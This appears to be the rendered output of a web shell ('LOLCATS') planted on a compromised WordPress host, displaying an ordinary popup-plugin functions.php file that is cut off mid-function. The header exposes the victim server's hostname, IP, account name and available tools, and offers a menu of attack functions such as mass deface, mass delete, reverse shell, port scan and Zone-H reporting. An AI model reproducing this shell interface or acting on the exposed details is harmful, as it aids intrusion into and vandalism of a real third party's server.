LOLCATS

: /home/golfanj/www/wp-content/plugins/wp-popups-lite/src/includes/ [ drwxr-xr-x ]

Information Server

System: Linux webm003.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP Version: 8.4.10 PHP Os: Linux
Server IP: 146.59.209.152
Your IP: 216.73.216.32
User: golfanj [75041] | Group: [users] [100]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

_dyuweyrj4,_dyuweyrj4r,dl

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: functions.php

<?php

use Hummingbird\WP_Hummingbird;

/**
 * Retrieve a value from options
 *
 * @param $key
 * @param bool $default
 * @param string $option
 *
 * @return bool|mixed
 */
function wppopups_setting( $key, $default = false, $option = 'wppopups_settings' ) {

$key     = wppopups_sanitize_key( $key );
	$options = get_option( $option, false );
	$value   = is_array( $options ) && isset( $options[ $key ] ) && ( $options[ $key ] === '0' || ! empty( $options[ $key ] ) ) ? $options[ $key ] : $default;

return $value;
}

/**
 * Sanitize key, primarily used for looking up options.
 *
 * @param string $key
 *
 * @return string
 */
function wppopups_sanitize_key( $key = '' ) {

return preg_replace( '/[^a-zA-Z0-9_\-\.\:\/]/', '', $key );
}

/**
 * Check if popup provided contains the specified field type.
 *
 * @since 1.0.5
 *
 * @param array|string $type
 * @param array|object $popup
 * @param bool         $multiple
 *
 * @return bool
 */
function wppopups_has_field_type( $type, $popup, $multiple = false ) {

$popup_data = '';
	$field     = false;
	$type      = (array) $type;

if ( $multiple ) {
		foreach ( $popup as $single_popup ) {
			$field = wppopups_has_field_type( $type, $single_popup );
			if ( $field ) {
				break;
			}
		}

return $field;
	}

if ( is_object( $popup ) && ! empty( $popup->post_content ) ) {
		$popup_data = wppopups_decode( $popup->post_content );
	} elseif ( is_array( $popup ) ) {
		$popup_data = $popup;
	} elseif( $popup instanceof WPPopups_Popup ) {
		$popup_data = $popup->data;
	}

if ( empty( $popup_data['fields'] ) ) {
		return false;
	}

foreach ( $popup_data['fields'] as $single_field ) {
		if ( in_array( $single_field['type'], $type, true ) ) {
			$field = true;
			break;
		}
	}

return $field;
}

/**
 * Check if popup provided contains a field which a specific setting.
 *
 * @since 1.4.5
 *
 * @param string $setting
 * @param object|array  $popup
 * @param bool   $multiple
 *
 * @return bool
 */
function wppopups_has_field_setting( $setting, $popup, $multiple = false ) {

$popup_data = '';
	$field     = false;

if ( $multiple ) {
		foreach ( $popup as $single_popup ) {
			$field = wppopups_has_field_setting( $setting, $single_popup );
			if ( $field ) {
				break;
			}
		}

return $field;
	}

if ( is_object( $popup ) && ! empty( $popup->post_content ) ) {
		$popup_data = wppopups_decode( $popup->post_content );
	} elseif ( is_array( $popup ) ) {
		$popup_data = $popup;
	}

if ( empty( $popup_data['fields'] ) ) {
		return false;
	}

foreach ( $popup_data['fields'] as $single_field ) {

if ( ! empty( $single_field[ $setting ] ) ) {
			$field = true;
			break;
		}
	}

return $field;
}

/**
 * Get Field Settings by type
 *
 * @since 1.4.5
 *
 * @param string $type
 * @param WPPopups_Popup  $popup
 *
 * @return array
 */
function wppopups_get_field_settings( string $type, WPPopups_Popup $popup ): array {
	
	$settings = [];
	
	if ( empty( $popup->data['fields'] ) ) {
		return $settings;
	}
	
	foreach ( $popup->data['fields'] as $field ) {
		
		if ( $field['type'] === $type ) {
			$settings = $field;
			break;
		}
	}
	
	return $settings;
}

/**
 * Perpopups json_decode and unslash.
 *
 * @param string $data
 *
 * @return array|bool
 * @since 2.0.0
 *
 */
function wppopups_decode( $data ) {

if ( ! $data || empty( $data ) || is_array( $data ) ) {
		return false;
	}

return wp_unslash( json_decode( $data, true ) );
}

/**
 * Check permissions for currently logged in user.
 *
 * @return bool
 * @since 2.0.0
 *
 */
function wppopups_current_user_can() {

$capability = wppopups_get_manage_capability();

return apply_filters( 'wppopups/current_user_can', current_user_can( $capability ), $capability );
}

/**
 * Get the default capability to manage everything for WPPopups.
 *
 * @return string
 * @since 2.0.0
 *
 */
function wppopups_get_manage_capability() {
	return apply_filters( 'wppopups/manage_capability', 'manage_options' );
}

/**
 * Return current url
 *
 * @return string
 */
function wppopups_get_current_url() {
	return ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] == 'on' ? 'https' : 'http' ) . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
}

/**
 * Perform json_encode and wp_slash.
 *
 * @param mixed $data *
 *
 * @return string
 */
function wppopups_encode( $data = false ) {

if ( empty( $data ) ) {
		return false;
	}

return wp_slash( wp_json_encode( $data ) );
}

/**
 * Debug mode bool.
 *
 * @return bool
 */
function wppopups_debug() {

$debug = false;

if ( ( defined( 'WPPOPUPS_DEBUG' ) && true === WPPOPUPS_DEBUG ) && is_super_admin() ) {
		$debug = true;
	}

$debug_option = get_option( 'wppopups_debug' );

if ( $debug_option ) {
		$current_user = wp_get_current_user();
		if ( $current_user->user_login === $debug_option ) {
			$debug = true;
		}
	}

return apply_filters( 'wppopups_debug', $debug );
}

/**
 * Sanitizes string of CSS classes.
 *
 * @param array|string $classes
 * @param bool $convert True will convert strings to array and vice versa.
 *
 * @return string|array
 * @since 2.0.0
 *
 */
function wppopups_sanitize_classes( $classes, $convert = false ) {

$array = is_array( $classes );
	$css   = [];

if ( ! empty( $classes ) ) {
		if ( ! $array ) {
			$classes = explode( ' ', trim( $classes ) );
		}
		foreach ( $classes as $class ) {
			if ( ! empty( $class ) ) {

if ( strpos( $class, ' ' ) !== false ) {
					$css[] = wppopups_sanitize_classes( $class, false );
				} else {
					$css[] = sanitize_html_class( $class );
				}
			}
		}
	}
	if ( $array ) {
		return $convert ? implode( ' ', $css ) : $css;
	} else {
		return $convert ? $css : implode( ' ', $css );
	}
}

/**
 * Sanitizes hex color.
 *
 * @param string $color
 *
 * @return string
 */
function wppopups_sanitize_hex_color( $color ) {
	$color = sanitize_hex_color( $color );

if ( empty( $color ) ) {
		return '';
	}

return $color;
}

/**
 * Sanitize error message, primarily used during popup frontend output.
 *
 * @since 1.3.7
 *
 * @param string $error
 *
 * @return string
 */
function wppopups_sanitize_error( $error = '' ) {

$allow = array(
		'a'      => array(
			'href'  => array(),
			'title' => array(),
		),
		'br'     => array(),
		'em'     => array(),
		'strong' => array(),
		'p'      => array(),
	);

return wp_kses( $error, $allow );
}

/**
 * Sanitize a string, that can be a multiline.
 *
 * @uses wppopups_sanitize_text_deeply()
 *
 * @since 1.4.1
 *
 * @param string $string String to deeply sanitize.
 *
 * @return string Sanitized string, or empty string if not a string provided.
 */
function wppopups_sanitize_textarea_field( $string ) {

return wppopups_sanitize_text_deeply( $string, true );
}

/**
 * Deeply sanitize the string, preserve newlines if needed.
 * Prevent maliciously prepared strings from containing HTML tags.
 *
 * @since 1.6.0
 *
 * @param string $string        String to deeply sanitize.
 * @param bool   $keep_newlines Whether to keep newlines. Default: false.
 *
 * @return string Sanitized string, or empty string if not a string provided.
 */
function wppopups_sanitize_text_deeply( $string, $keep_newlines = false ) {

if ( is_object( $string ) || is_array( $string ) ) {
		return '';
	}

$string        = (string) $string;
	$keep_newlines = (bool) $keep_newlines;

$new_value = _sanitize_text_fields( $string, $keep_newlines );

if ( strlen( $new_value ) !== strlen( $string ) ) {
		$new_value = wppopups_sanitize_text_deeply( $new_value, $keep_newlines );
	}

return $new_value;
}

/**
 * Sanitizes hex color.
 *
 * @param string $color
 *
 * @return string
 */
function wppopups_hex2rgba( $color = '', $opacity = false ) {

if ( empty( $color ) ) {
		return '';
	}

if ( strpos( $color, '#' ) === false ) {
		return $color;
	}

$rgb   = [];
	$color = ltrim( $color, '#' );

switch ( strlen( $color ) ) {
		case 6:
			$rgb = array_map( 'hexdec', str_split( $color, 2 ) );
			break;

case 3:
			$acolor = str_split( $color, 1 );

$rgb[] = hexdec( str_repeat( $acolor[0], 2 ) );
			$rgb[] = hexdec( str_repeat( $acolor[1], 2 ) );
			$rgb[] = hexdec( str_repeat( $acolor[2], 2 ) );
			break;

default:
			return $color;
	}

if ( $opacity ) {
		$opacity = absint( $opacity ) > 1 ? 1.0 : round( abs( $opacity ), 1 );

$rgb_output = 'rgba(' . implode( ',', $rgb ) . ', ' . $opacity . ')';
	} else {
		$rgb_output = 'rgb(' . implode( ',', $rgb ) . ')';
	}

return apply_filters( 'wppopups/hex2rgba', $rgb_output, $color, $opacity );
}

/**
 * Return welcome popup text
 *
 * @return string
 */
function wppopups_welcome_text() {
	return esc_html( __( 'Welcome to popups plugin', 'wp-popups-lite' ) );
}

/**
 * Helper function to display debug data.
 *
 * @param mixed $data
 * @param bool $echo
 *
 * @return string
 */
function wppopups_debug_data( $data, $echo = true ) {

if ( wppopups_debug() ) {

$output = '<textarea style="background:#fff;margin: 20px 0;width:100%;height:500px;font-size:12px;font-family: Consolas,Monaco,monospace;direction: ltr;unicode-bidi: embed;line-height: 1.4;padding: 4px 6px 1px;" readonly>';

$output .= "=================== WPPOPUPS DEBUG ===================\n\n";

if ( is_array( $data ) || is_object( $data ) ) {
			$output .= ( print_r( $data, true ) );
		} else {
			$output .= $data;
		}

$output .= '</textarea>';

if ( $echo ) {
			echo $output;
		} else {
			return $output;
		}
	}
}

/**
 * Retrieve site post types
 * @return array
 */
function wppopups_get_post_types() {

// get all custom post types
	$post_types = get_post_types();

$includes = apply_filters( 'wppopups_include_post_types', [] ); // phpcs:ignore
	$excludes = apply_filters( 'wppopups_exclude_post_types', [
		'spucpt',
		'wppopups',
		'wppopups_log',
		'geot_cpt',
		'geotr_cpt',
		'geotl_cpt',
		'acf',
		'revision',
		'nav_menu_item',
		'custom_css',
		'customize_changeset',
		'oembed_cache',
		'wpvqgr_quiz_trivia',
		'wpvqgr_quiz_perso',
		'wpvqgr_user',
		'popup',
		'popup_theme',
		'page_rating',
		'sa_slider',
		'faq',
		'opanda-item',
		'amn_smtp',
	] ); // phpcs:ignore

if ( is_array( $includes ) ) {
		foreach ( $includes as $p ) {
			if ( post_type_exists( $p ) ) {
				$post_types[ $p ] = $p;
			}
		}
	}
	if ( is_array( $excludes ) ) {
		foreach ( $excludes as $p ) {
			unset( $post_types[ $p ] );
		}
	}

return apply_filters( 'wppopups_get_post_types', $post_types );

}

/**
 * Retrieve site taxonomies with his terms
 * @return array
 */
function wppopups_get_taxonomies() {
	// get all custom post types
	$post_types = get_post_types();

$includes = apply_filters( 'wppopups_include_taxonomies', [] );
	$excludes = apply_filters( 'wppopups_exclude_taxonomies', [ 'wppopups_log_type', 'nav_menu' ] );

if ( $post_types ) {
		foreach ( $post_types as $post_type ) {
			$post_type_object = get_post_type_object( $post_type );
			$taxonomies       = get_object_taxonomies( $post_type );

if ( is_array( $includes ) ) {
				foreach ( $includes as $tax ) {
					if ( taxonomy_exists( $tax ) ) {
						$taxonomies[ $tax ] = $tax;
					}
				}
			}

if ( is_array( $excludes ) ) {
				foreach ( $excludes as $tax ) {
					unset( $taxonomies[ $tax ] );
				}
			}

if ( $taxonomies ) {
				foreach ( $taxonomies as $taxonomy ) {

$terms = get_terms( $taxonomy, [ 'hide_empty' => true ] );

if ( $terms ) {
						foreach ( $terms as $term ) {
							$choices[ $post_type_object->label . ': ' . $taxonomy ][ $term->term_id ] = $term->name;
						}
					}
				}
			}
		}
	}

return apply_filters( 'wppopups_get_taxonomies', $choices );
}

/**
 * Retrieve browsers
 * @return array
 */
function wppopups_get_browsers() {
	include_once WPPOPUPS_PLUGIN_DIR . 'includes/libraries/Browser.php';
	$browsers = [
		Browser::BROWSER_OPERA        => Browser::BROWSER_OPERA,
		Browser::BROWSER_WEBTV        => Browser::BROWSER_WEBTV,
		Browser::BROWSER_NETPOSITIVE  => Browser::BROWSER_NETPOSITIVE,
		Browser::BROWSER_EDGE         => Browser::BROWSER_EDGE,
		Browser::BROWSER_IE           => Browser::BROWSER_IE,
		Browser::BROWSER_POCKET_IE    => Browser::BROWSER_POCKET_IE,
		Browser::BROWSER_GALEON       => Browser::BROWSER_GALEON,
		Browser::BROWSER_KONQUEROR    => Browser::BROWSER_KONQUEROR,
		Browser::BROWSER_ICAB         => Browser::BROWSER_ICAB,
		Browser::BROWSER_OMNIWEB      => Browser::BROWSER_OMNIWEB,
		Browser::BROWSER_PHOENIX      => Browser::BROWSER_PHOENIX,
		Browser::BROWSER_FIREBIRD     => Browser::BROWSER_FIREBIRD,
		Browser::BROWSER_UCBROWSER    => Browser::BROWSER_UCBROWSER,
		Browser::BROWSER_FIREFOX      => Browser::BROWSER_FIREFOX,
		Browser::BROWSER_MOZILLA      => Browser::BROWSER_MOZILLA,
		Browser::BROWSER_PALEMOON     => Browser::BROWSER_PALEMOON,
		Browser::BROWSER_CURL         => Browser::BROWSER_CURL,
		Browser::BROWSER_WGET         => Browser::BROWSER_WGET,
		Browser::BROWSER_AMAYA        => Browser::BROWSER_AMAYA,
		Browser::BROWSER_LYNX         => Browser::BROWSER_LYNX,
		Browser::BROWSER_SAFARI       => Browser::BROWSER_SAFARI,
		Browser::BROWSER_PLAYSTATION  => Browser::BROWSER_PLAYSTATION,
		Browser::BROWSER_IPHONE       => Browser::BROWSER_IPHONE,
		Browser::BROWSER_IPOD         => Browser::BROWSER_IPOD,
		Browser::BROWSER_ANDROID      => Browser::BROWSER_ANDROID,
		Browser::BROWSER_CHROME       => Browser::BROWSER_CHROME,
		Browser::BROWSER_GOOGLEBOT    => Browser::BROWSER_GOOGLEBOT,
		Browser::BROWSER_SLURP        => Browser::BROWSER_SLURP,
		Browser::BROWSER_W3CVALIDATOR => Browser::BROWSER_W3CVALIDATOR,
		Browser::BROWSER_BLACKBERRY   => Browser::BROWSER_BLACKBERRY,
	];

return apply_filters( 'wppopups_get_browsers', $browsers );
}

/**
 * Build and return either a taxonomy or post type object that is
 * nested to accommodate any hierarchy.
 *
 * @since 1.3.9
 * @since 1.5.0 Return array only. Empty array of no data.
 *
 * @param array $args Object arguments to pass to data retrieval function.
 * @param bool  $flat Preserve hierarchy or not. False by default - preserve it.
 *
 * @return array
 */
function wppopups_get_hierarchical_object( $args = array(), $flat = false ) {

if ( empty( $args['taxonomy'] ) && empty( $args['post_type'] ) ) {
		return array();
	}

$children   = array();
	$parents    = array();
	$ref_parent = '';
	$ref_name   = '';

if ( ! empty( $args['post_type'] ) ) {

$defaults   = array(
			'posts_per_page' => - 1,
			'orderby'        => 'title',
			'order'          => 'ASC',
		);
		$args       = wp_parse_args( $args, $defaults );
		$items      = get_posts( $args );
		$ref_parent = 'post_parent';
		$ref_id     = 'ID';
		$ref_name   = 'post_title';

} elseif ( ! empty( $args['taxonomy'] ) ) {

$defaults   = array(
			'hide_empty' => false,
		);
		$args       = wp_parse_args( $args, $defaults );
		$items      = get_terms( $args );
		$ref_parent = 'parent';
		$ref_id     = 'term_id';
		$ref_name   = 'name';
	}

if ( empty( $items ) || is_wp_error( $items ) ) {
		return array();
	}

foreach ( $items as $item ) {
		if ( $item->{$ref_parent} ) {
			$children[ $item->{$ref_id} ]     = $item;
			$children[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
		} else {
			$parents[ $item->{$ref_id} ]     = $item;
			$parents[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
		}
	}

$children_count = count( $children );
	while ( $children_count >= 1 ) {
		foreach ( $children as $child ) {
			_wppopups_get_hierarchical_object_search( $child, $parents, $children, $ref_parent );
			// $children is modified by reference, so we need to recount to make sure we met the limits.
			$children_count = count( $children );
		}
	}

if ( $flat ) {
		$parents_flat = array();
		_wppopups_get_hierarchical_object_flatten( $parents, $parents_flat, $ref_name );

return $parents_flat;
	}

return $parents;
}

/**
 * Search a given array and find the parent of the provided object.
 *
 * @since 1.3.9
 *
 * @param object $child      Current child.
 * @param array  $parents    Parents list.
 * @param array  $children   Children list.
 * @param string $ref_parent Parent reference.
 */
function _wppopups_get_hierarchical_object_search( $child, &$parents, &$children, $ref_parent ) {

foreach ( $parents as $id => $parent ) {

if ( $parent->ID === $child->{$ref_parent} ) {

if ( empty( $parent->children ) ) {
				$parents[ $id ]->children = array(
					$child->ID => $child,
				);
			} else {
				$parents[ $id ]->children[ $child->ID ] = $child;
			}

unset( $children[ $child->ID ] );

} elseif ( ! empty( $parent->children ) && is_array( $parent->children ) ) {

_wppopups_get_hierarchical_object_search( $child, $parent->children, $children, $ref_parent );
		}
	}
}

/**
 * Flatten a hierarchical object.
 *
 * @since 1.3.9
 *
 * @param array  $array    Array to process.
 * @param array  $output   Processed output.
 * @param string $ref_name Name reference.
 * @param int    $level    Nesting level.
 */
function _wppopups_get_hierarchical_object_flatten( $array, &$output, $ref_name = 'name', $level = 0 ) {

foreach ( $array as $key => $item ) {

$indicator           = apply_filters( 'wppopups_hierarchical_object_indicator', '&mdash;' );
		$item->{$ref_name}   = str_repeat( $indicator, $level ) . ' ' . $item->{$ref_name};
		$item->depth         = $level + 1;
		$output[ $item->ID ] = $item;

if ( ! empty( $item->children ) ) {

_wppopups_get_hierarchical_object_flatten( $item->children, $output, $ref_name, $level + 1 );
			unset( $output[ $item->ID ]->children );
		}
	}
}

/**
 * Return field choice properties for field configured with dynamic choices.
 *
 * @since 1.4.5
 *
 * @param array $field     Field settings.
 * @param int   $popup_id   Popup ID.
 * @param array $popup_data Popup data and settings.
 *
 * @return false|array
 */
function wppopups_get_field_dynamic_choices( $field, $popup_id, $popup_data = array() ) {

if ( empty( $field['dynamic_choices'] ) ) {
		return false;
	}

$choices = array();

if ( 'post_type' === $field['dynamic_choices'] ) {

if ( empty( $field['dynamic_post_type'] ) ) {
			return false;
		}

$posts = wppopups_get_hierarchical_object(
			apply_filters(
				'wppopups_dynamic_choice_post_type_args',
				array(
					'post_type'      => $field['dynamic_post_type'],
					'posts_per_page' => -1,
					'orderby'        => 'title',
					'order'          => 'ASC',
				),
				$field,
				$popup_id
			),
			true
		);

foreach ( $posts as $post ) {
			$choices[] = array(
				'value' => $post->ID,
				'label' => $post->post_title,
				'depth' => isset( $post->depth ) ? absint( $post->depth ) : 1,
			);
		}
	} elseif ( 'taxonomy' === $field['dynamic_choices'] ) {

if ( empty( $field['dynamic_taxonomy'] ) ) {
			return false;
		}

$terms = wppopups_get_hierarchical_object(
			apply_filters(
				'wppopups_dynamic_choice_taxonomy_args',
				array(
					'taxonomy'   => $field['dynamic_taxonomy'],
					'hide_empty' => false,
				),
				$field,
				$popup_data
			),
			true
		);

foreach ( $terms as $term ) {
			$choices[] = array(
				'value' => $term->term_id,
				'label' => $term->name,
				'depth' => isset( $term->depth ) ? absint( $term->depth ) : 1,
			);
		}
	}

return $choices;
}

/**
 * Insert an array into another array before/after a certain key.
 *
 * @param array $array The initial array.
 * @param array $pairs The array to insert.
 * @param string $key The certain key.
 * @param string $position Where to insert the array - before or after the key.
 *
 * @return array
 * @link https://gist.github.com/scribu/588429
 *
 * @since 2.0.0
 */
function wppopups_array_insert( $array, $pairs, $key, $position = 'after' ) {

$key_pos = array_search( $key, array_keys( $array ), true );
	if ( 'after' === $position ) {
		$key_pos ++;
	}

if ( false !== $key_pos ) {
		$result = array_slice( $array, 0, $key_pos );
		$result = array_merge( $result, $pairs );
		$result = array_merge( $result, array_slice( $array, $key_pos ) );
	} else {
		$result = array_merge( $array, $pairs );
	}

return $result;
}

/**
 * Get current post id, to let retrieve from url in case is not set yet
 * changed to grab just to make it clear for me Im not using native wp
 * @return mixed
 */
function wppopups_grab_post_id() {
	global $post;
	// in case geotargeting it's enabled on site
	add_filter( 'geot/cancel_posts_where', '__return_true' );
	$actual_url = get_current_url();
	$id         = isset( $post->ID ) ? $post->ID : url_to_postid( $actual_url );
	remove_filter( 'geot/cancel_posts_where', '__return_true' );

return $id;
}

/**
 * Helper function to determine if viewing an WP Popups builder page.
 *
 * @return boolean
 */
function wppopups_is_builder_page() {

if ( ! is_admin() || empty( $_REQUEST['page'] ) || 'wppopups-builder' !== $_REQUEST['page'] ) {
		return false;
	}

return true;
}

/**
 * Log helper.
 *
 * @param string $title Title of a log message.
 * @param mixed $message Content of a log message.
 * @param array $args Expected keys: popup_id, meta, parent.
 *
 * @since 2.0.0
 *
 */
function wppopups_log( $title = '', $message = '', $args = [] ) {

// Require log title.
	if ( empty( $title ) ) {
		return;
	}

// Force logging everything when in debug mode.
	if ( ! wppopups_debug() ) {

/**
		 * Compare error levels to determine if we should log.
		 * Current supported levels:
		 * - Errors (error)
		 * - Providers (provider)
		 */
		$type   = ! empty( $args['type'] ) ? (array) $args['type'] : [ 'error' ];
		$levels = array_intersect( $type, get_option( 'wppopups_logging', [] ) );
		if ( empty( $levels ) ) {
			return;
		}
	}

// Meta.
	if ( ! empty( $args['popup_id'] ) ) {
		$meta = [
			'popup' => absint( $args['popup_id'] ),
		];
	} elseif ( ! empty( $args['meta'] ) ) {
		$meta = $args['meta'];
	} else {
		$meta = '';
	}

// Parent element.
	$parent = ! empty( $args['parent'] ) ? $args['parent'] : 0;

// Make arrays and objects look nice.
	if ( is_array( $message ) || is_object( $message ) ) {
		$message = '<pre>' . print_r( $message, true ) . '</pre>'; // phpcs:ignore
	}

// Create log entry.
	wppopups()->logs->add( $title, $message, $parent, $parent, $meta );
}

/**
 * Get the default capability to manage everything for WPPopups.
 *
 * @return string
 * @since 2.0.0
 *
 */
function wppopups_get_capability_manage_options() {
	return apply_filters( 'wppopups_manage_cap', 'manage_options' );
}

/**
 * Object to array.
 *
 * @param object $object
 *
 * @return mixed
 * @since 2.0.0
 *
 */
function wppopups_object_to_array( $object ) {

if ( ! is_object( $object ) && ! is_array( $object ) ) {
		return $object;
	}

if ( is_object( $object ) ) {
		$object = get_object_vars( $object );
	}

return array_map( 'wppopups_object_to_array', $object );
}

/**
 * Load Template.
 *
 * @param string $template_name
 * @param array $args
 * @param string $template_path
 *
 * @return include
 * @since 2.0.0
 *
 */
function wppopups_load_template( $template_name, $args = [], $template_path = '' ) {

if ( ! empty( $args ) && is_array( $args ) ) {
		extract( $args );
	}

if ( $template_path != '' ) {
		$located = trailingslashit( $template_path ) . $template_name;
	} else {
		$located = WPPOPUPS_PLUGIN_DIR . $template_name;
	}

// Allow 3rd party plugin filter template file from their plugin.
	$located = apply_filters( 'wppopups_load_template_located', $located, $args );

if ( ! file_exists( $located ) ) {
		printf( __( 'File %s is not exists', 'wp-popups-lite' ), $located );

return;
	}

do_action( 'wppopups_load_template_before', $located, $args );

include $located;

do_action( 'wppopups_load_template_after', $located, $args );
}

/**
 * Check if size has a valid unit
 *
 * @param $size
 *
 * @return string
 */
function wppopups_sanitize_size( $size ) {
	if ( strpos( $size, '%' ) === false &&
	     strpos( $size, 'px' ) === false &&
	     strpos( $size, 'em' ) === false &&
	     strpos( $size, 'vh' ) === false &&
	     strpos( $size, 'vw' ) === false &&
	     strpos( $size, 'vmin' ) === false &&
	     strpos( $size, 'vmax' ) === false
	) {
		$size = $size . 'px';
	}

return $size;
}

/**
 * Return the box options from legacy popups
 *
 * @param int $id spucpt id
 *
 * @return array metadata values
 * @since  2.0
 */
function wppopups_legacy_box_options( $id ) {
	$defaults = [
		'css'                     => [
			'show_overlay'       => 'yes-color',
			'bgopacity'          => '0.5',
			'overlay_color'      => '#000',
			'overlay_blur'       => '2',
			'background_color'   => '#eeeeee',
			'background_opacity' => '1',
			'width'              => '600px',
			'padding'            => '25',
			'radius'             => '0',
			'color'              => '#333',
			'shadow_color'       => '#666',
			'shadow_type'        => 'outset',
			'shadow_x_offset'    => '0',
			'shadow_y_offset'    => '0',
			'shadow_blur'        => '10',
			'shadow_spread'      => '1',
			'border_color'       => '#eee',
			'border_width'       => '8',
			'border_radius'      => '0',
			'border_type'        => 'none',
			'close_color'        => '#666',
			'close_hover_color'  => '#000',
			'close_size'         => '30px',
			'close_position'     => 'top_right',
			'close_shadow_color' => '#fff',
			'position'           => 'centered',
		],
		'trigger'                 => 'seconds',
		'trigger_number'          => '5',
		'animation'               => 'fade',
		'duration-convert-cookie' => '999',
		'type-convert-cookie'     => 'd',
		'duration-close-cookie'   => '30',
		'type-close-cookie'       => 'd',
		'name-convert-cookie'     => 'spu_conversion',
		'name-close-cookie'       => 'spu_closing',
		'auto_hide'               => 0,
		'test_mode'               => 0,
		'conversion_close'        => '1',
		'powered_link'            => '0',
	];

$opts = apply_filters( 'spu/metaboxes/box_options', get_post_meta( $id, 'spu_options', true ), $id );

$opts = wp_parse_args( $opts, apply_filters( 'spu/metaboxes/default_options', $defaults ) );
	// we added new rules as we can't merge recursively, so manual check them
	foreach ( $defaults['css'] as $key => $value ) {
		if ( ! isset( $opts['css'][ $key ] ) ) {
			$opts['css'][ $key ] = $value;
		}
	}

return $opts;
}

/**
 * Return the box rules for legacy popups
 *
 * @param int $id spucpt id
 *
 * @return array metadata values
 * @since  2.0
 */
function wppopups_legacy_box_rules( $id ) {
	$defaults = [
		// group_0
		[

// rule_0
			[
				'param'    => 'page_type',
				'operator' => '==',
				'value'    => 'all_pages',
				'order_no' => 0,
				'group_no' => 0,
			],
		],
	];

$rules = get_post_meta( $id, 'spu_rules', true );

if ( empty( $rules ) ) {

return apply_filters( 'spu/metaboxes/default_rules', $defaults );

} else {

return $rules;

}

/**
 * Return the a/b parent for legacy popups
 *
 * @param INT $id PopupId
 *
 * @return INT $parent parentID
 */
function wppopups_legacy_box_abgroup( $id ) {

$abgroup = get_post_meta( $id, 'spu_ab_group', true );

return apply_filters( 'spu/metaboxes/abgroup', $abgroup );
}

/**
 * Clear all Cache
 * @return mixed
 * @since  2.0
 */
function wppopups_clear_caches() {

// WP Rocket
	if ( function_exists( 'rocket_clean_domain' ) ) {
		rocket_clean_domain();
	}
	// W3 Total Cache : w3tc
	if ( function_exists( 'w3tc_pgcache_flush' ) ) {
		w3tc_pgcache_flush();
	}
	// WP Super Cache : wp-super-cache
	if ( function_exists( 'wp_cache_clear_cache' ) ) {
		wp_cache_clear_cache();
	}
	// WP Fastest Cache
	if ( function_exists( 'wpfc_clear_all_cache' ) ) {
		wpfc_clear_all_cache( true );
	}
	// WPEngine
	if ( class_exists( 'WpeCommon' ) && method_exists( 'WpeCommon', 'purge_memcached' ) ) {
		WpeCommon::purge_memcached();
		WpeCommon::purge_varnish_cache();
	}
	// SG Optimizer by Siteground
	if ( function_exists( 'sg_cachepress_purge_cache' ) ) {
		sg_cachepress_purge_cache();
	}
	// LiteSpeed
	if ( class_exists( 'LiteSpeed_Cache_API' ) && method_exists( 'LiteSpeed_Cache_API', 'purge_all' ) ) {
		LiteSpeed_Cache_API::purge_all();
	}
	// Cache Enabler
	if ( class_exists( 'Cache_Enabler' ) && method_exists( 'Cache_Enabler', 'clear_total_cache' ) ) {
		Cache_Enabler::clear_total_cache();
	}
	// Pagely
	if ( class_exists( 'PagelyCachePurge' ) && method_exists( 'PagelyCachePurge', 'purgeAll' ) ) {
		$purger = new PagelyCachePurge();
		$purger->purgeAll();
	}
	// Autoptimize
	if ( class_exists( 'autoptimizeCache' ) && method_exists( 'autoptimizeCache', 'clearall' ) ) {
		autoptimizeCache::clearall();
	}
	//comet cache (formerly zencache)
	if ( class_exists( 'comet_cache' ) && method_exists( 'comet_cache', 'clear' ) ) {
		comet_cache::clear();
	}
	// Hummingbird Cache
	if ( class_exists( '\Hummingbird\WP_Hummingbird' ) &&
	     method_exists( '\Hummingbird\WP_Hummingbird', 'flush_cache' )
	) {
		WP_Hummingbird::flush_cache();
	}

return true;
}

/**
 * Check wordpress version and include asset if needed
 */
function wppopups_wp_hooks() {
	// include an unmodified $wp_version
	include( ABSPATH . WPINC . '/version.php' );
	if ( version_compare( $wp_version, '5.0.0', '<=' ) ) {

$es6 = defined( 'WPP_DEBUG' ) || isset( $_GET['WPP_DEBUG'] ) ? 'es6/' : '';
		
		wp_enqueue_script(
			'wp-hooks',
			WPPOPUPS_PLUGIN_URL . 'assets/js/' . $es6 . 'hooks.min.js',
			[ 'jquery' ],
			WPPOPUPS_VERSION,
			false
		);
	}
}

/**
 * Get options for all providers.
 *
 * @since 2.0.0
 *
 * @param string $provider Define a single provider to get options for this one only.
 *
 * @return array
 */
function wppopups_get_providers_options( $provider = '' ) {

$options  = get_option( 'wppopups_providers', array() );
	$provider = sanitize_key( $provider );
	$data     = $options;

if ( ! empty( $provider ) && isset( $options[ $provider ] ) ) {
		$data = $options[ $provider ];
	}

return (array) apply_filters( 'wppopups_get_providers_options', $data, $provider );
}

/**
 * Get an array of all the active provider addons.
 *
 * @since 2.0.0
 *
 * @return array
 */
function wppopups_get_providers_available() {
	return (array) apply_filters( 'wppopups_providers_available', array() );
}

/**
 * Get an array of all the active addons.
 *
 * @since 2.0.0
 *
 * @return array
 */
function wppopups_get_addons_available() {
	return (array) apply_filters( 'wppopups_addons_available', array() );
}

/**
 * Get an array of all the active provider addons.
 *
 * @since 2.0.0
 *
 * @return array
 */
function wppopups_get_connections_available() {
	return (array) apply_filters( 'wppopups_connections_available', array() );
}

/**
 * Default Optin name field placeholder
 * @return mixed
 */
function wppopups_default_optin_name_text() {
	return esc_html__('Your Full Name', 'wppopups-pro' );
}

/**
 * Default optin email field placeholder
 * @return mixed
 */
function wppopups_default_optin_email_text() {
	return esc_html__('Your Email', 'wppopups-pro' );
}

/**
 *  * Default Optin submit button text
 * @return mixed
 */
function wppopups_default_optin_submit_text() {
	return esc_html__('Submit', 'wppopups-pro' );
}

/**
 *  * Default Optin submit button processing text
 * @return mixed
 */
function wppopups_default_optin_submit_processing_text() {
	return esc_html__('Sending...', 'wppopups-pro' );
}

/**
 * Default GDPR text
 * @return mixed
 */
function wppopups_default_optin_gdpr_text() {
